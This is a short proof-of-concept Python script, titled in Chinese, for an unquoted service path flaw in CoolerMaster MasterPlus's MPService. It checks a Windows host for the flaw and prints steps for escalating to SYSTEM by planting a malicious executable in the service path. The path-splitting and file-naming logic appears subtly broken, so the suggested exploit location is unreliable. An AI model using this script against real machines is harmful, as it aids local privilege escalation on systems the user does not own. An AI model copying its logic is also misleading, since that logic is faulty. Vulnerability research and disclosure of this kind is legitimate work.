CVE-2022-50808 CoolerMaster MasterPlus MPService未引号服务路径漏洞

# CVE-2022-50808 PoC - Unquoted Service Path in CoolerMaster MasterPlus MPService # This PoC demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges to SYSTEM level import os import sys import subprocess import shutil def check_vulnerability(): """Check if the system is vulnerable to CVE-2022-50808""" try: # Query the MPService configuration using sc command result = subprocess.run( ['sc', 'qc', 'MPService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Found MPService path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] System is VULNERABLE - Unquoted path with spaces detected") return True, path else: print("[-] System is NOT vulnerable") return False, path else: print("[-] MPService not found on this system") return False, None except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False, None def exploit_vulnerability(service_path): """Exploit the unquoted service path vulnerability""" print("\n[!] Exploitation steps:") print("1. Analyze the service path to find exploitable location") print("2. Create malicious executable in the path before a space") print("3. Wait for service restart or system reboot") print("4. Malicious code executes with SYSTEM privileges") # Extract path components path_parts = service_path.split('\\\\') if len(path_parts) > 2: # Find the directory before the executable exploit_dir = '\\\\'.join(path_parts[:-1]) malicious_name = path_parts[-2] + '.exe' print(f"\n[+] Potential exploit location: {exploit_dir}\\\\{malicious_name}") print(f"[+] Attacker would create: {malicious_name}") if __name__ == '__main__': print("CVE-2022-50808 - CoolerMaster MasterPlus MPService Unquoted Service Path") print("=" * 70) is_vulnerable, path = check_vulnerability() if is_vulnerable: exploit_vulnerability(path)